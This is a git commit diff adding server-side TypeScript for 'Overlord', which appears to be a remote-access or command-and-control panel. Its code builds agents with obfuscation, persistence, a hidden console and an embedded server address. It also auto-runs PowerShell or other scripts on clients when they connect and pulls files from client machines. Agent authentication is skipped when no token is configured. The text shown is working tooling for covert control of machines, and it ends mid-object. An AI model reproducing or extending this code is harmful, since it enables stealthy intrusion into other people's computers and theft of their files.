inital commit
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
import { logger } from "../logger";
|
||||
|
||||
export function isAuthorizedAgentRequest(
|
||||
req: Request,
|
||||
url: URL,
|
||||
agentToken?: string,
|
||||
): boolean {
|
||||
const disableAuth =
|
||||
String(process.env.OVERLORD_DISABLE_AGENT_AUTH || "").toLowerCase() ===
|
||||
"true";
|
||||
if (disableAuth) {
|
||||
logger.info("[auth] Agent auth explicitly disabled by OVERLORD_DISABLE_AGENT_AUTH=true");
|
||||
return true;
|
||||
}
|
||||
|
||||
const token = agentToken?.trim();
|
||||
if (!token) {
|
||||
logger.info("[auth] Agent auth disabled");
|
||||
return true;
|
||||
}
|
||||
|
||||
const headerToken = req.headers.get("x-agent-token");
|
||||
const queryToken = url.searchParams.get("token");
|
||||
const isAuthed = headerToken === token || queryToken === token;
|
||||
|
||||
if (!isAuthed) {
|
||||
logger.info("[auth] Agent auth failed");
|
||||
} else {
|
||||
logger.info("[auth] Agent authenticated successfully");
|
||||
}
|
||||
|
||||
return isAuthed;
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { hasAutoScriptRun, getAutoScriptsByTrigger, recordAutoScriptRun } from "../db";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { logAudit, AuditAction } from "../auditLog";
|
||||
import { ALLOWED_SCRIPT_TYPES } from "./validation-constants";
|
||||
|
||||
export function dispatchAutoScriptsForConnection(
|
||||
info: ClientInfo,
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
): void {
|
||||
if (info.role !== "client") return;
|
||||
if (ws.data?.autoTasksRan) return;
|
||||
|
||||
const isNewClient = ws.data?.wasKnown === false;
|
||||
const onConnect = getAutoScriptsByTrigger("on_connect");
|
||||
const onFirst = isNewClient ? getAutoScriptsByTrigger("on_first_connect") : [];
|
||||
const onConnectOnce = getAutoScriptsByTrigger("on_connect_once");
|
||||
const scripts = [...onConnect, ...onFirst, ...onConnectOnce];
|
||||
|
||||
if (scripts.length === 0) {
|
||||
ws.data.autoTasksRan = true;
|
||||
return;
|
||||
}
|
||||
|
||||
for (const script of scripts) {
|
||||
if (script.trigger === "on_connect_once") {
|
||||
if (hasAutoScriptRun(script.id, info.id)) {
|
||||
continue;
|
||||
}
|
||||
recordAutoScriptRun(script.id, info.id);
|
||||
}
|
||||
|
||||
const scriptType = ALLOWED_SCRIPT_TYPES.has(script.scriptType)
|
||||
? script.scriptType
|
||||
: "powershell";
|
||||
const cmdId = uuidv4();
|
||||
|
||||
try {
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "script_exec" as any,
|
||||
id: cmdId,
|
||||
payload: { script: script.script, type: scriptType },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("script_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: "server",
|
||||
action: AuditAction.SCRIPT_EXECUTE,
|
||||
targetClientId: info.id,
|
||||
success: true,
|
||||
details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`,
|
||||
});
|
||||
logger.info(`[auto-script] dispatched ${script.id} (${script.trigger}) to ${info.id}`);
|
||||
} catch (err) {
|
||||
logger.warn(`[auto-script] failed to dispatch ${script.id} to ${info.id}`, err);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: "server",
|
||||
action: AuditAction.SCRIPT_EXECUTE,
|
||||
targetClientId: info.id,
|
||||
success: false,
|
||||
details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`,
|
||||
errorMessage: (err as Error)?.message || "send failed",
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
ws.data.autoTasksRan = true;
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
import { $ } from "bun";
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
import { saveBuild } from "../db";
|
||||
import { logger } from "../logger";
|
||||
import { getConfig } from "../config";
|
||||
import * as buildManager from "../build/buildManager";
|
||||
import type { BuildStream } from "../build/types";
|
||||
import { ALLOWED_PLATFORMS } from "./validation-constants";
|
||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||
|
||||
type BuildProcessConfig = {
|
||||
platforms: string[];
|
||||
serverUrl?: string;
|
||||
rawServerList?: boolean;
|
||||
mutex?: string;
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
};
|
||||
|
||||
type BuildProcessDeps = {
|
||||
generateBuildMutex: (length?: number) => string;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
};
|
||||
|
||||
export async function startBuildProcess(
|
||||
buildId: string,
|
||||
config: BuildProcessConfig,
|
||||
deps: BuildProcessDeps,
|
||||
): Promise<void> {
|
||||
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000;
|
||||
const now = Date.now();
|
||||
|
||||
const build: BuildStream = {
|
||||
id: buildId,
|
||||
controllers: [],
|
||||
status: "running",
|
||||
startTime: now,
|
||||
expiresAt: now + SEVEN_DAYS_MS,
|
||||
files: [],
|
||||
};
|
||||
|
||||
buildManager.addBuildStream(buildId, build);
|
||||
|
||||
const sendToStream = (data: any) => {
|
||||
const encoder = new TextEncoder();
|
||||
const message = `data: ${JSON.stringify(data)}\n\n`;
|
||||
const encoded = encoder.encode(message);
|
||||
|
||||
if (data.type === "output") {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`);
|
||||
} else if (data.type === "status") {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`);
|
||||
} else if (data.type === "error") {
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
|
||||
}
|
||||
|
||||
build.controllers.forEach((controller) => {
|
||||
try {
|
||||
controller.enqueue(encoded);
|
||||
} catch (err) {
|
||||
logger.error("[build] Failed to send to stream:", err);
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
try {
|
||||
const serverConfig = getConfig();
|
||||
const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
|
||||
|
||||
sendToStream({ type: "status", text: "Preparing build environment..." });
|
||||
|
||||
try {
|
||||
const goCheck = await $`go version`.quiet();
|
||||
const goVersion = goCheck.stdout.toString().trim();
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`);
|
||||
sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" });
|
||||
} catch {
|
||||
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH.";
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`);
|
||||
sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" });
|
||||
sendToStream({ type: "error", error: errorMsg });
|
||||
sendToStream({ type: "complete", success: false });
|
||||
build.status = "failed";
|
||||
return;
|
||||
}
|
||||
|
||||
const rootDir = resolveRuntimeRoot();
|
||||
const distClientDir = path.join(rootDir, "dist", "Overlord-Client");
|
||||
const clientDir = fs.existsSync(distClientDir)
|
||||
? distClientDir
|
||||
: path.join(rootDir, "Overlord-Client");
|
||||
const outDir = path.join(rootDir, "dist-clients");
|
||||
|
||||
await Bun.$`mkdir -p ${outDir}`.quiet();
|
||||
sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" });
|
||||
|
||||
const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
|
||||
if (platformsToBuild.length !== (config.platforms || []).length) {
|
||||
throw new Error("One or more requested platforms are not allowed");
|
||||
}
|
||||
|
||||
let buildMutex = "";
|
||||
if (!config.disableMutex) {
|
||||
buildMutex = config.mutex || deps.generateBuildMutex();
|
||||
sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" });
|
||||
} else {
|
||||
sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
|
||||
}
|
||||
|
||||
for (const platform of platformsToBuild) {
|
||||
const [os, arch, ...rest] = platform.split("-");
|
||||
const goarm = rest[0] === "armv7" ? "7" : undefined;
|
||||
const actualArch = goarm ? "arm" : arch;
|
||||
const outputName = deps.sanitizeOutputName(
|
||||
platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
|
||||
);
|
||||
|
||||
sendToStream({ type: "status", text: `Building ${platform}...` });
|
||||
sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
|
||||
|
||||
const env = {
|
||||
...process.env,
|
||||
GOOS: os,
|
||||
GOARCH: actualArch,
|
||||
CGO_ENABLED: config.disableCgo !== false ? "0" : "1",
|
||||
GOWORK: "off",
|
||||
...(goarm ? { GOARM: goarm } : {}),
|
||||
};
|
||||
|
||||
let ldflags = config.stripDebug !== false ? "-s -w" : "";
|
||||
|
||||
if (config.serverUrl) {
|
||||
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`;
|
||||
ldflags = `${ldflags} ${serverFlag}`;
|
||||
sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (config.rawServerList) {
|
||||
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true";
|
||||
ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag;
|
||||
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
|
||||
}
|
||||
|
||||
if (buildMutex) {
|
||||
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
|
||||
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
|
||||
}
|
||||
|
||||
if (config.enablePersistence) {
|
||||
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
||||
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (buildAgentToken) {
|
||||
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`;
|
||||
ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
|
||||
}
|
||||
|
||||
if (config.hideConsole && os === "windows") {
|
||||
const hideConsoleFlag = "-H=windowsgui";
|
||||
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
|
||||
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.obfuscate) {
|
||||
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.noPrinting) {
|
||||
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
|
||||
}
|
||||
|
||||
try {
|
||||
const buildTool = config.obfuscate ? "garble" : "go";
|
||||
const tagArg = config.noPrinting ? "-tags noprint " : "";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED}`);
|
||||
|
||||
const buildCmd = config.obfuscate
|
||||
? (config.noPrinting
|
||||
? (ldflags
|
||||
? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
||||
: $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
|
||||
: (ldflags
|
||||
? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
||||
: $`garble build -o ${outDir}/${outputName} ./cmd/agent`))
|
||||
: (config.noPrinting
|
||||
? (ldflags
|
||||
? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
||||
: $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
|
||||
: (ldflags
|
||||
? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
||||
: $`go build -o ${outDir}/${outputName} ./cmd/agent`));
|
||||
|
||||
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
|
||||
|
||||
for await (const line of proc.lines()) {
|
||||
sendToStream({ type: "output", text: line + "\n", level: "info" });
|
||||
}
|
||||
|
||||
const result = await proc;
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
|
||||
|
||||
if (result.exitCode !== 0) {
|
||||
const stderrText = result.stderr.toString();
|
||||
if (stderrText) {
|
||||
sendToStream({ type: "output", text: stderrText, level: "error" });
|
||||
}
|
||||
const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
|
||||
sendToStream({ type: "output", text: errorMsg, level: "error" });
|
||||
throw new Error(`Build failed for ${platform}`);
|
||||
}
|
||||
|
||||
const filePath = `${outDir}/${outputName}`;
|
||||
const file = Bun.file(filePath);
|
||||
const size = file.size;
|
||||
|
||||
(build.files as any[]).push({
|
||||
name: outputName,
|
||||
filename: outputName,
|
||||
platform,
|
||||
size,
|
||||
});
|
||||
} catch (err: any) {
|
||||
const errorMsg = `Γ£ù Failed to build ${platform}: ${err.message || err}\n`;
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
|
||||
sendToStream({ type: "output", text: errorMsg, level: "error" });
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
|
||||
build.status = "completed";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
|
||||
sendToStream({ type: "output", text: `\nΓ£ô Build completed successfully!\n`, level: "success" });
|
||||
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
|
||||
|
||||
saveBuild({
|
||||
id: build.id,
|
||||
status: build.status,
|
||||
startTime: build.startTime,
|
||||
expiresAt: build.expiresAt,
|
||||
files: build.files as any,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
}, SEVEN_DAYS_MS);
|
||||
} catch (err: any) {
|
||||
build.status = "failed";
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
|
||||
sendToStream({ type: "error", error: err.message || String(err) });
|
||||
sendToStream({ type: "complete", success: false, buildId });
|
||||
|
||||
setTimeout(() => {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`);
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
}, 60 * 60 * 1000);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
import path from "path";
|
||||
|
||||
const MUTEX_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-";
|
||||
|
||||
export function generateBuildMutex(length = 24): string {
|
||||
const bytes = new Uint8Array(length);
|
||||
crypto.getRandomValues(bytes);
|
||||
return Array.from(bytes)
|
||||
.map((b) => MUTEX_CHARS[b % MUTEX_CHARS.length])
|
||||
.join("");
|
||||
}
|
||||
|
||||
export function sanitizeMutex(value?: string): string | undefined {
|
||||
if (!value) return undefined;
|
||||
const trimmed = value.trim();
|
||||
if (!trimmed) return undefined;
|
||||
if (!/^[A-Za-z0-9._-]{1,64}$/.test(trimmed)) {
|
||||
throw new Error("Mutex must be 1-64 chars using letters, numbers, '.', '_' or '-' only");
|
||||
}
|
||||
return trimmed;
|
||||
}
|
||||
|
||||
export function sanitizeOutputName(name: string): string {
|
||||
const base = path.basename(name);
|
||||
const cleaned = base.replace(/[^A-Za-z0-9._-]/g, "");
|
||||
if (!cleaned || cleaned !== base) {
|
||||
throw new Error("Invalid output filename");
|
||||
}
|
||||
return cleaned;
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
export type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
|
||||
|
||||
export function normalizeClientOs(os?: string): DeployOs {
|
||||
const val = String(os || "").toLowerCase();
|
||||
if (val.includes("windows")) return "windows";
|
||||
if (val.includes("darwin") || val.includes("mac")) return "mac";
|
||||
if (val.includes("linux")) return "linux";
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
export function detectUploadOs(filename: string, bytes: Uint8Array): DeployOs {
|
||||
const lower = filename.toLowerCase();
|
||||
if (lower.endsWith(".exe") || lower.endsWith(".msi") || lower.endsWith(".bat") || lower.endsWith(".cmd") || lower.endsWith(".ps1")) {
|
||||
return "windows";
|
||||
}
|
||||
if (lower.endsWith(".dmg") || lower.endsWith(".pkg") || lower.endsWith(".app")) {
|
||||
return "mac";
|
||||
}
|
||||
if (lower.endsWith(".sh")) {
|
||||
return "unix";
|
||||
}
|
||||
if (lower.endsWith(".run")) {
|
||||
return "linux";
|
||||
}
|
||||
|
||||
if (bytes.length >= 4) {
|
||||
const b0 = bytes[0];
|
||||
const b1 = bytes[1];
|
||||
const b2 = bytes[2];
|
||||
const b3 = bytes[3];
|
||||
if (b0 === 0x4d && b1 === 0x5a) return "windows";
|
||||
if (b0 === 0x7f && b1 === 0x45 && b2 === 0x4c && b3 === 0x46) return "linux";
|
||||
const magic = (b0 << 24) | (b1 << 16) | (b2 << 8) | b3;
|
||||
if (magic === 0xfeedface || magic === 0xfeedfacf || magic === 0xcefaedfe || magic === 0xcafebabe) {
|
||||
return "mac";
|
||||
}
|
||||
}
|
||||
|
||||
if (bytes.length >= 2 && bytes[0] === 0x23 && bytes[1] === 0x21) {
|
||||
return "unix";
|
||||
}
|
||||
|
||||
return "unknown";
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
type MaybeResponse = Response | null;
|
||||
|
||||
type RouteHandler = (req: Request, url: URL) => Promise<MaybeResponse>;
|
||||
type RouteHandlerWithServer<TServer> = (
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: TServer,
|
||||
) => Promise<MaybeResponse>;
|
||||
type RouteHandlerWithServerDeps<TServer, TDeps> = (
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: TServer,
|
||||
deps: TDeps,
|
||||
) => Promise<MaybeResponse>;
|
||||
type RouteHandlerWithDeps<TDeps> = (
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: TDeps,
|
||||
) => Promise<MaybeResponse>;
|
||||
|
||||
type HttpDispatchDeps<
|
||||
TServer,
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
TAssets,
|
||||
TPage,
|
||||
TClient,
|
||||
TWsUpgrade,
|
||||
> = {
|
||||
metrics: { withHttpMetrics: (fn: () => Promise<Response>) => Promise<Response> };
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
handleAuthRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
|
||||
handleAutoScriptsRoutes: RouteHandler;
|
||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
||||
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
|
||||
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
|
||||
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
|
||||
handleAssetsRoutes: RouteHandlerWithDeps<TAssets>;
|
||||
handlePageRoutes: RouteHandlerWithDeps<TPage>;
|
||||
handleClientRoutes: RouteHandlerWithServerDeps<TServer, TClient>;
|
||||
handleWsUpgradeRoutes: RouteHandlerWithServerDeps<TServer, TWsUpgrade>;
|
||||
routeDeps: {
|
||||
notificationsConfig: TNotificationsConfig;
|
||||
build: TBuild;
|
||||
deploy: TDeploy;
|
||||
fileDownload: TFileDownload;
|
||||
plugin: TPlugin;
|
||||
misc: TMisc;
|
||||
assets: TAssets;
|
||||
page: TPage;
|
||||
client: TClient;
|
||||
wsUpgrade: TWsUpgrade;
|
||||
};
|
||||
};
|
||||
|
||||
export function createHttpFetchHandler<
|
||||
TServer,
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
TAssets,
|
||||
TPage,
|
||||
TClient,
|
||||
TWsUpgrade,
|
||||
>(
|
||||
deps: HttpDispatchDeps<
|
||||
TServer,
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
TAssets,
|
||||
TPage,
|
||||
TClient,
|
||||
TWsUpgrade
|
||||
>,
|
||||
) {
|
||||
return async function fetchHandler(req: Request, server: unknown): Promise<Response> {
|
||||
return deps.metrics.withHttpMetrics(async () => {
|
||||
const routeServer = server as TServer;
|
||||
const url = new URL(req.url);
|
||||
|
||||
if (req.method === "OPTIONS") {
|
||||
return new Response("", { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const authRouteResponse = await deps.handleAuthRoutes(req, url, routeServer);
|
||||
if (authRouteResponse) return authRouteResponse;
|
||||
|
||||
const notificationsConfigResponse = await deps.handleNotificationsConfigRoutes(req, url, routeServer, deps.routeDeps.notificationsConfig);
|
||||
if (notificationsConfigResponse) return notificationsConfigResponse;
|
||||
|
||||
const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
|
||||
if (autoScriptsResponse) return autoScriptsResponse;
|
||||
|
||||
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
|
||||
if (usersResponse) return usersResponse;
|
||||
|
||||
const buildResponse = await deps.handleBuildRoutes(req, url, routeServer, deps.routeDeps.build);
|
||||
if (buildResponse) return buildResponse;
|
||||
|
||||
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
|
||||
if (deployResponse) return deployResponse;
|
||||
|
||||
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
|
||||
if (fileDownloadResponse) return fileDownloadResponse;
|
||||
|
||||
const pluginResponse = await deps.handlePluginRoutes(req, url, deps.routeDeps.plugin);
|
||||
if (pluginResponse) return pluginResponse;
|
||||
|
||||
const miscResponse = await deps.handleMiscRoutes(req, url, deps.routeDeps.misc);
|
||||
if (miscResponse) return miscResponse;
|
||||
|
||||
const assetsResponse = await deps.handleAssetsRoutes(req, url, deps.routeDeps.assets);
|
||||
if (assetsResponse) return assetsResponse;
|
||||
|
||||
const pageResponse = await deps.handlePageRoutes(req, url, deps.routeDeps.page);
|
||||
if (pageResponse) return pageResponse;
|
||||
|
||||
const clientRouteResponse = await deps.handleClientRoutes(req, url, routeServer, deps.routeDeps.client);
|
||||
if (clientRouteResponse) return clientRouteResponse;
|
||||
|
||||
const wsUpgradeResponse = await deps.handleWsUpgradeRoutes(req, url, routeServer, deps.routeDeps.wsUpgrade);
|
||||
if (wsUpgradeResponse) return wsUpgradeResponse;
|
||||
|
||||
return new Response("Not found", { status: 404 });
|
||||
});
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
import fs from "fs/promises";
|
||||
import type { FileHandle } from "fs/promises";
|
||||
import { logger } from "../logger";
|
||||
|
||||
export type PendingHttpDownload = {
|
||||
commandId: string;
|
||||
clientId: string;
|
||||
path: string;
|
||||
fileName: string;
|
||||
total: number;
|
||||
receivedBytes: number;
|
||||
receivedOffsets: Set<number>;
|
||||
receivedChunks: Set<number>;
|
||||
chunkSize: number;
|
||||
expectedChunks: number;
|
||||
loggedTotal?: boolean;
|
||||
loggedFirstChunk?: boolean;
|
||||
tmpPath: string;
|
||||
fileHandle: FileHandle;
|
||||
resolve: (entry: PendingHttpDownload) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
};
|
||||
|
||||
export async function consumeHttpDownloadPayload(
|
||||
payload: any,
|
||||
pendingHttpDownloads: Map<string, PendingHttpDownload>,
|
||||
): Promise<void> {
|
||||
const commandId = typeof payload?.commandId === "string" ? payload.commandId : "";
|
||||
if (!commandId) return;
|
||||
|
||||
const pending = pendingHttpDownloads.get(commandId);
|
||||
if (!pending) return;
|
||||
|
||||
if (payload?.error) {
|
||||
clearTimeout(pending.timeout);
|
||||
pendingHttpDownloads.delete(commandId);
|
||||
try {
|
||||
await pending.fileHandle.close();
|
||||
} catch {}
|
||||
try {
|
||||
await fs.unlink(pending.tmpPath);
|
||||
} catch {}
|
||||
pending.reject(new Error(String(payload.error)));
|
||||
return;
|
||||
}
|
||||
|
||||
const toNumber = (value: unknown): number | null => {
|
||||
if (typeof value === "number" && Number.isFinite(value)) return value;
|
||||
if (typeof value === "bigint") {
|
||||
const asNumber = Number(value);
|
||||
if (Number.isSafeInteger(asNumber)) return asNumber;
|
||||
}
|
||||
return null;
|
||||
};
|
||||
|
||||
const rawTotal = payload?.total;
|
||||
if (!pending.total) {
|
||||
const total = toNumber(rawTotal);
|
||||
if (total && total > 0) {
|
||||
pending.total = total;
|
||||
}
|
||||
}
|
||||
if (pending.total > 0 && !pending.loggedTotal) {
|
||||
pending.loggedTotal = true;
|
||||
logger.debug("[filebrowser] http download total", {
|
||||
commandId,
|
||||
total: pending.total,
|
||||
rawTotalType: typeof rawTotal,
|
||||
});
|
||||
}
|
||||
|
||||
if (payload?.data) {
|
||||
let data = payload.data;
|
||||
if (data instanceof ArrayBuffer) {
|
||||
data = new Uint8Array(data);
|
||||
} else if (typeof data === "string") {
|
||||
data = Uint8Array.from(atob(data), (c) => c.charCodeAt(0));
|
||||
} else if (ArrayBuffer.isView(data)) {
|
||||
data = new Uint8Array(data.buffer, data.byteOffset, data.byteLength);
|
||||
}
|
||||
|
||||
if (data instanceof Uint8Array) {
|
||||
const offset = toNumber(payload?.offset);
|
||||
const chunkIndex = toNumber(payload?.chunkIndex);
|
||||
const chunksTotal = toNumber(payload?.chunksTotal);
|
||||
|
||||
if (offset === null) {
|
||||
logger.debug("[filebrowser] http download missing offset", {
|
||||
commandId,
|
||||
rawOffsetType: typeof payload?.offset,
|
||||
});
|
||||
}
|
||||
|
||||
if (!pending.chunkSize && data.length > 0) {
|
||||
pending.chunkSize = data.length;
|
||||
}
|
||||
if (pending.expectedChunks === 0) {
|
||||
if (chunksTotal && chunksTotal > 0) {
|
||||
pending.expectedChunks = chunksTotal;
|
||||
} else if (pending.total > 0 && pending.chunkSize > 0) {
|
||||
pending.expectedChunks = Math.ceil(pending.total / pending.chunkSize);
|
||||
}
|
||||
}
|
||||
|
||||
if (!pending.loggedFirstChunk) {
|
||||
pending.loggedFirstChunk = true;
|
||||
logger.debug("[filebrowser] http download first chunk", {
|
||||
commandId,
|
||||
size: data.length,
|
||||
offset,
|
||||
chunkIndex,
|
||||
chunksTotal,
|
||||
expectedChunks: pending.expectedChunks,
|
||||
});
|
||||
}
|
||||
|
||||
const shouldWrite = chunkIndex !== null
|
||||
? !pending.receivedChunks.has(chunkIndex)
|
||||
: !pending.receivedOffsets.has(offset ?? 0);
|
||||
|
||||
if (shouldWrite) {
|
||||
try {
|
||||
await pending.fileHandle.write(data, 0, data.length, offset ?? 0);
|
||||
} catch (err) {
|
||||
clearTimeout(pending.timeout);
|
||||
pendingHttpDownloads.delete(commandId);
|
||||
try {
|
||||
await pending.fileHandle.close();
|
||||
} catch {}
|
||||
try {
|
||||
await fs.unlink(pending.tmpPath);
|
||||
} catch {}
|
||||
pending.reject(err as Error);
|
||||
return;
|
||||
}
|
||||
if (chunkIndex !== null) {
|
||||
pending.receivedChunks.add(chunkIndex);
|
||||
} else {
|
||||
pending.receivedOffsets.add(offset ?? 0);
|
||||
}
|
||||
pending.receivedBytes += data.length;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const receivedChunkCount = pending.receivedChunks.size + pending.receivedOffsets.size;
|
||||
const hasAllChunks = pending.expectedChunks > 0
|
||||
? receivedChunkCount >= pending.expectedChunks
|
||||
: pending.total > 0 && pending.receivedBytes >= pending.total;
|
||||
|
||||
if ((pending.total > 0 ? pending.receivedBytes >= pending.total : hasAllChunks && pending.receivedBytes > 0) && hasAllChunks) {
|
||||
clearTimeout(pending.timeout);
|
||||
pendingHttpDownloads.delete(commandId);
|
||||
try {
|
||||
await pending.fileHandle.close();
|
||||
} catch {}
|
||||
pending.resolve(pending);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
export const CORS_HEADERS = {
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
"Access-Control-Allow-Methods": "GET,OPTIONS",
|
||||
"Access-Control-Allow-Headers": "Content-Type",
|
||||
};
|
||||
|
||||
export const SECURITY_HEADERS = {
|
||||
